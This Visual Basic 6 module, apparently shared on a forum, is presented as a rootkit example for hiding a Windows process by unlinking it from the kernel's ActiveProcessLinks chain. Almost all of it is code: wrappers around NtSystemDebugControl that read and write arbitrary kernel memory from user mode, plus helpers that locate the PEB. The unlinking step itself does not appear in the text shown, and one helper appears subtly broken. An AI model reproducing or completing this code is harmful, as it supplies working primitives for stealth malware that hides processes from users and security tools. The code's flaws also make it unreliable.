Option Explicit
'To modify kernel memory from usermode you can use the NtSystemDebugControl API function.
'Found it from some chinese forum =].
'You wouldn 't believe the kind of crazy stuff they implement inside of VB6. (Most I cannot understand though because I lack knowledge of ASM.)
'That code has really opened new doors for me and really got me interested in kernel data structures, rootkits, WinDbg, and the book "Subverting the Windows Kernel"
'In any case, here is an example of hiding a process by unlinking it from the _EPROCESS chain at 0x88 (I think WinDbg calls the member ActiveProcessLinks)
Public Type LIST_ENTRY
pFlink As Long
pBlink As Long
End Type
'http://forum.sysinternals.com/tip-run-process-in-system-account-scexe_topic16714_post88025.html
Public Declare Function NtSystemDebugControl Lib "NTDLL" (ByVal ControlCode As Long, ByRef InputBuffer As Any, ByVal InputBufferLength As Long, ByRef OutputBuffer As Any, ByVal OutputBufferLength As Long, ByRef ReturnLength As Long) As Long
Public Type MEMORY_CHUNKS
VirtualAddress As Long
Buffer As Long
BufferSize As Long
End Type
Public Const DebugReadVirtualMemory& = 8
Public Const DebugWriteVirtualMemory& = 9
Public Type PROCESS_BASIC_INFORMATION
ExitStatus As Long 'NTSTATUS
PebBaseAddress As Long 'PPEB
AffinityMask As Long 'ULONG_PTR
BasePriority As Long 'KPRIORITY
UniqueProcessId As Long 'ULONG_PTR
InheritedFromUniqueProcessId As Long 'ULONG_PTR
End Type
Public Declare Function ZwQueryInformationProcess Lib "NTDLL.DLL" (ByVal ProcessHandle As Long, ByVal ProcessInformationClass As PROCESSINFOCLASS, ByVal ProcessInformation As Long, ByVal ProcessInformationLength As Long, ByRef ReturnLength As Long) As Long
Public Enum PROCESSINFOCLASS
ProcessBasicInformation
ProcessQuotaLimits
ProcessIoCounters
ProcessVmCounters
ProcessTimes
ProcessBasePriority
ProcessRaisePriority
ProcessDebugPort
ProcessExceptionPort
ProcessAccessToken
ProcessLdtInformation
ProcessLdtSize
ProcessDefaultHardErrorMode
ProcessIoPortHandlers '// Note: this is kernel mode only
ProcessPooledUsageAndLimits
ProcessWorkingSetWatch
ProcessUserModeIOPL
ProcessEnableAlignmentFaultFixup
ProcessPriorityClass
ProcessWx86Information
ProcessHandleCount
ProcessAffinityMask
ProcessPriorityBoost
ProcessDeviceMap
ProcessSessionInformation
ProcessForegroundInformation
ProcessWow64Information
ProcessImageFileName
ProcessLUIDDeviceMapsEnabled
ProcessBreakOnTermination
ProcessDebugObjectHandle
ProcessDebugFlags
ProcessHandleTracing
ProcessIoPriority
ProcessExecuteFlags
ProcessResourceManagement
ProcessCookie
ProcessImageInformation
MaxProcessInfoClass '// MaxProcessInfoClass should always be the last enum
End Enum
Public Declare Function NtCurrentTeb Lib "NTDLL" () As Long
Public Declare Function IsBadReadPtr Lib "kernel32" (ByVal lp As Long, ByVal ucb As Long) As Long
Public Declare Sub RtlMoveMemory Lib "kernel32" (ByVal Destination As Long, ByVal Source As Long, ByVal Length As Integer)
Public Function GetPEBAddress() As Long
On Error GoTo NotSupported
Dim pbi As PROCESS_BASIC_INFORMATION, Dummy As Long
If ZwQueryInformationProcess(-1&, 0&, VarPtr(pbi), Len(pbi), Dummy) = 0 Then
GetPEBAddress = pbi.PebBaseAddress
Else
GetPEBAddress = GetPEBAddressinXP
End If
NotSupported:
End Function
Public Function ReadKernelMemory(ByVal VirtualAddress As Long, ByVal Buffer As Long, ByVal BufferSize As Long) As Long
Dim MemoryChunks As MEMORY_CHUNKS
MemoryChunks.VirtualAddress = VirtualAddress
MemoryChunks.Buffer = Buffer
MemoryChunks.BufferSize = BufferSize
ReadKernelMemory = NtSystemDebugControl(DebugReadVirtualMemory, MemoryChunks, Len(MemoryChunks), ByVal 0&, 0, ByVal 0&)
End Function
Public Function WriteKernelMemory(ByVal VirtualAddress As Long, ByVal Buffer As Long, ByVal BufferSize As Long) As Long
Dim MemoryChunks As MEMORY_CHUNKS
MemoryChunks.VirtualAddress = VirtualAddress
MemoryChunks.Buffer = Buffer
MemoryChunks.BufferSize = BufferSize
WriteKernelMemory = NtSystemDebugControl(DebugWriteVirtualMemory, MemoryChunks, Len(MemoryChunks), ByVal 0&, 0, ByVal 0&)
End Function
Public Function GetPEBAddressinXP() As Long
On Error GoTo NotSupported 'Windows 9X/Me will occures error
Dim pTeb As Long, ppPeb As Long
pTeb = NtCurrentTeb 'get TEB
On Error Resume Next ' on error ignore
If pTeb = 0 Then Exit Function 'if it has invalid TEB, run away this procedure
' +0x030 ProcessEnvironmentBlock : _PEB
ppPeb = pTeb + &H30&
'check IsValid
If IsBadReadPtr(ByVal ppPeb, 4) Then Exit Function
' returns PEB
RtlMoveMemory GetPEBAddress, ByVal ppPeb, 4
NotSupported:
End Function